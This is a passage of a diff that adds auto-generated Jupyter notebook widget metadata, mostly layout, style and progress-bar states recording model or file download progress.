"model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_9af01c4399c74223b5d7f94bd48d6952", + "placeholder": "​", + "style": "IPY_MODEL_aa44d82861804483b44e0f893b698b72", + "value": " 634/634 [00:00<00:00, 4.30kB/s]" + } + }, + "9ee85e252d32428ea44a91c71cd62a36": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "9f17b8692b824c0cb9a98cea381699a9": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_cdcf280e7a3043c2a1d59e0eea379d96", + "max": 524619, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_2e945d3f81204a538874a0a832102d15", + "value": 524619 + } + }, + "a1d133bc8fe344e2aed80fe5155177c3": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "a25cd36e4deb410f9ee54a92a18c939c": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "a266a0d0bdde4a3aa09fec6a0a00abed": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_bc60bbefdc2a490588dd8f58327fd264", + "max": 460, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_3119598ffcab4d6f9d1642ee595736ee", + "value": 460 + } + }, + "a4d93e9fee48468281afac25f551806c": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "a5971d5b793545a3845fbe1029b557e1": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "a6b2ca41ffb24b9193a83fd9a4c24a8c": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "a8dbb00149f148ceaee2474c4304c902": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "a9ab859e76814985877a4bacdb04e95a": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "aa44d82861804483b44e0f893b698b72": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "ab1c2c3e457944acb16508cf7a721290": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "ac71f4fe6e804f19b2529c82e5a42049": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "accd8a5f56cf41c5af297f8bf93f7058": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_ed9e0cfb4635476f9e31c5b48aeafde8", + "max": 75, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_396aee75c5954aa9b634d79c18177977", + "value": 75 + } + }, + "ad07cccdd8d44a9ab5e3458e8d902ac6": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "aea53b42c35947c58d2c113bd2043078": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "b014fb9554fb4f61a8d44135a6ad4954": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_d612163ad6d24d91a6d7ee758d8d6367", + "placeholder": "​", + "style": "IPY_MODEL_ab1c2c3e457944acb16508cf7a721290", + "value": " 75/75 [00:21<00:00, 3.39it/s]" + } + }, + "b3ae18d50eb4415b950f98bb38362207": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "b4209eed23cb45038a5c614bfe8bf3b6": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "b5a46aec8d594d02b618b9d59e4f4518": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "b67319578dc84245ad16cb8d25d3173c": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "b7aa53a4de824d7fbec2a07c1771bc24": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_17c87915e01b4d2fa79042759bf1a57d", + "IPY_MODEL_bafabfceff6e4f76b900878a4077337e", + "IPY_MODEL_5d1c6a49ce6f4596946a2fd91bec3312" + ], + "layout": "IPY_MODEL_795329002e034ec4aead224cf74ea361" + } + }, + "b991b21d18ec471fb18b291a0c10aa6e": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "b9cf936d26124cad959de16fcf5bea63": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "ba72519befe047eabb826d1f7ec0e39c": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "bafabfceff6e4f76b900878a4077337e": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_cd437bc3e2194f1a8c5e83ec98745b58", + "max": 825, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_18ba1c9da9714f2494c06570e4dc1d64", + "value": 825 + } + }, + "bc60bbefdc2a490588dd8f58327fd264": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "bc72d593b56c42899ff4779e92bcf818": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_cabab037d12a455bbd283477e481d4ca", + "IPY_MODEL_7cdde9f1b0f1403ababc0e3e120617c4", + "IPY_MODEL_28c075d27bf8437c99b4fa8091d4d2c0" + ], + "layout": "IPY_MODEL_7c5bcff9ea9344dca52dbaa4a6545b50" + } + }, + "bc9783a6d9d0437b881b01cad81c0173": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "bce74d8ba4dd4a35bd276ba2dbf0ffd1": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "be0a3bc217b04b2dbd06a90141c0dd35": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "bfc87d61a154451294fa790fc30075ea": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_c8cabf1d8ffe421296725d8494ba0d3b", + "IPY_MODEL_28fe7cfc4f4048eca1120a7228dcd629", + "IPY_MODEL_9ecd3535823549bbbcbf3f131704d3eb" + ], + "layout": "IPY_MODEL_03b9fb0d0fa44ac8bf1a6aa678ff82c8" + } + }, + "c081010577e7490eae450d69b0458a74": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "c1dc0d80451c4d098f16eb6ec7eed752": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_d4c5db5f7ffe42beb2065e14cbdd755d", + "IPY_MODEL_accd8a5f56cf41c5af297f8bf93f7058", + "IPY_MODEL_824b0b410fed4ea1b5bc7f88236fc3e8" + ], + "layout": "IPY_MODEL_a6b2ca41ffb24b9193a83fd9a4c24a8c" + } + }, + "c2ccf29c76d1461c8e820cdd1091684a": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "c30445a77e81411bbad4f90b8c54bc35": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "c4995db7a62844b4a00daaf55847cabd": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_080c7086e8684bb3bb857d23f426d5dd", + "max": 221326504, + "min": 0, + "orientation": 